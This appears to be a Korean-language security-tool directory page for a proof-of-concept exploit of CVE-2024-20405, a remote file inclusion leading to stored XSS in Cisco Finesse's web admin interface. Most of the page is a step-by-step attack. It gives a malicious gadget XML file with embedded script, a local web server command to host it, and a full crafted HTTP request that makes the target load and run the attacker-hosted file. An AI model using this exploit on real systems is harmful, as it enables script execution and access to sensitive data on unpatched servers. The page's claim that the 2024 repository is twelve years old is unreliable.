Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-20405 — CVE-2024-20405에 대한 개념 증명 익스플로잇으로, Cisco Finesse 웹 기반 관리 인터페이스에서 RFI를 통한 저장형 XSS를 보여주며 단계별 공격 과정을 포함합니다. | Kitploit
도구/GitHubGitHub/3zz4t/cve-2024-20405
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHub3zz4t/cve-2024-20405

CVE-2024-20405

CVE-2024-20405에 대한 개념 증명 익스플로잇으로, Cisco Finesse 웹 기반 관리 인터페이스에서 RFI를 통한 저장형 XSS를 보여주며 단계별 공격 과정을 포함합니다.

저장소 보기
12년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

설명

Cisco Finesse 웹 기반 관리 인터페이스의 취약점으로 인해 인증되지 않은 원격 공격자가 RFI 취약점을 악용하여 저장형 XSS 공격을 수행할 수 있습니다. 이 취약점은 영향을 받는 장치로 전송되는 특정 HTTP 요청에 대해 사용자가 제공한 입력의 유효성 검사가 충분하지 않기 때문에 발생합니다. 공격자는 사용자가 조작된 링크를 클릭하도록 유도하여 이 취약점을 악용할 수 있습니다. 성공적으로 악용될 경우 공격자는 영향을 받는 인터페이스의 컨텍스트에서 임의의 스크립트 코드를 실행하거나 영향을 받는 장치의 민감한 정보에 액세스할 수 있습니다.

개념 증명 (PoC)

  1. 원래 체계와 동일한 경로와 일치하는 전체 경로를 생성합니다.
root@kitploit:~
mkdir cuicui && mkdir cuicui/gadget && mkdir cuicui/gadget/LiveData

  1. 파일이 호출될 때 실행될 악성 코드가 포함된 구성 파일 "LiveDataGadget.xml"을 생성합니다.
root@kitploit:~
nano cuicui/gadget/LiveData/LiveDataGadget.xml
root@kitploit:~
<?xml version="1.0" encoding="UTF-8" ?>

<Module>

<ModulePrefs title="__MSG_default_gadget_title__" height="0" >
    <Require feature="pubsub-2" />
    <Require feature="settitle" />
    <Require feature="setprefs" />
    <Require feature="dynamic-height" />
    <Require feature="views" />
    <Optional feature="content-rewrite">
        <!-- these files will be directly served by cuic, not through shindig -->
        <Param name="exclude-url">cuicui/gadget/report-gadget.min.js</Param>
        <Param name="exclude-url">cuicui/gadget/report-gadget.min.css</Param>
        <Param name="exclude-url">desktop/assets/js/finesse.min.js</Param>
        <Param name="exclude-url">desktop/scripts/js/ccbu-third-party.min.js</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.woff</Param>
      <Param name="exclude-url">desktop/scripts/fonts/CiscoSansTTRegular.woff</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.woff2</Param>
      <Param name="exclude-url">desktop/scripts/fonts/Cisco_Toolkit_Icons.eot</Param>
    </Optional>
   
</ModulePrefs>

    <UserPref name="scheme" display_name="scheme" default_value=""/>
    <UserPref name="host" display_name="host" default_value=""/>
    <UserPref name="hostPort" display_name="hostPort" default_value=""/>

  <Content type="html" view="default,canvas">
   
    <![CDATA[
    <!DOCTYPE html>
    <head>
        <meta http-equiv="X-UA-Compatible" content="IE=edge" />
        <meta charset="UTF-8" />
        <script type="text/javascript">
            alert("From RFI To XSS")
        </script>
    </head>

    <body class="claro" >
    <h1>Cisco Finesse v12.6</h1>
    </body>
    ]]>
  </Content>
</Module>

  1. 악성 구성 파일 "LiveDataGadget.xml"을 호스팅할 로컬 웹 서버를 실행합니다.
root@kitploit:~
python3 -m http.server <port>

  1. 아래 요청을 보내 로컬 웹 서버에서 악성 구성 파일을 포함시킵니다. <target>, <IP> 및 <port>를 자신의 것으로 바꾸세요.
root@kitploit:~
GET /gadgets/ifr?container=default&mid=0&nocache=0&country=US&lang=en&view=default&refresh=86400&up_id=6000&up_order=14&up_urlPrefs=%7B%22gadgetHeight%22%3A%22280%22%2C%22viewId%22%3A%2256BC5CCE8C37467EA4D4EFA8371258BC%22%2C%22filterId%22%3A%22agentStateLog.id%3DCL%20teamName%22%2C%22scheme%22%3A%22https%22%2C%22hostname%22%3A%22cuica.<target>%22%2C%22port%22%3A%228444%22%7D&up_country=US&up_language=en&up_locale=en_US&up_host=<target>&up_hostPort=8445&up_extension=<extension>&up_xmppDomain=<target>&up_pubsubDomain=pubsub.<target>&up_restHost=<target>&up_mobileAgentMode=undefined&up_mobileAgentDialNumber=undefined&up_scheme=https&up_localhostFQDN=<target>&up_localhostPort=8082&up_teamId=1&up_teamName=Default&up_systemAuthMode=NON_SSO&up_compatibilityMode=false&up_toasterNotificationTimeout=8&up_navItemRoute=%23%2FmyHistory&up_speechRecognitionHighlights=problem%2C%20solution%2C%20defect%2C%20issue%2C%20summary%2C%20glitch%2C%20resolved%2C%20resolution&up_cceSkillTargetId=5515&up_enableDropParticipantFor=supervisor_only&up_dropParticipant=agents&up_CCDContainer=true&up_externalServerHost=https%3A%2F%2F<target>%3A8445&up_deploymentType=UCCE&up_peripheralId=5000&up_messages=%7B%22select.agent.message%22%3A%22Select%20an%20Agent%20from%20Team%20Performance%20Gadget%22%7D&up_gadgetInfo=undefined&st=john.doe:john.doe:appid:cont:url:0:default&url=http%3A%2F%2F<IP>%3A<port>%2Fcuicui%2Fgadget%2FLiveData%2FLiveDataGadget.xml%3FgadgetHeight%3D280%26viewId%3D56BC5CCE8C37467EA4D4EFA8371258BC%26filterId%3DagentStateLog.id%3DCL%2520teamName HTTP/2
Host: <target>:8445
Cookie: timeBeforeFailover=1695819521188; timeBeforeAttemptingLoginInIframe=1695819523191; attemptsMade=1; seqNumberGenerated=1; finesse_ag_extension=<extension>; activeDeviceId4000=SEPD4AD717A03F6; timeBeforeLoadingOtherSide=1695810942373
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://<target>:8445/desktop/container/?locale=en_US&fromlogout=true
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers

  1. 요청을 보내면 웹 서버로부터 원격 악성 구성 파일을 포함시키기 위한 HTTP 요청을 받게 됩니다.

  1. 구성 파일이 포함된 후 악성 코드가 실행되었습니다.

참고 자료

  • https://nvd.nist.gov/vuln/detail/CVE-2024-20405
  • https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-finesse-ssrf-rfi-Um7wT8Ew

면책 조항

이 자료는 Cisco Finesse 웹 기반 관리 인터페이스가 원격 파일 포함(RFI)에 취약함을 입증하기 위한 개념 증명(PoC)일 뿐이며, 교육 목적으로만 제공됩니다. 책임감 있게 사용하고 명시적 테스트 허가를 받은 시스템에서만 사용하십시오. 이 PoC의 오용은 심각한 결과를 초래할 수 있습니다.

도구 다운로드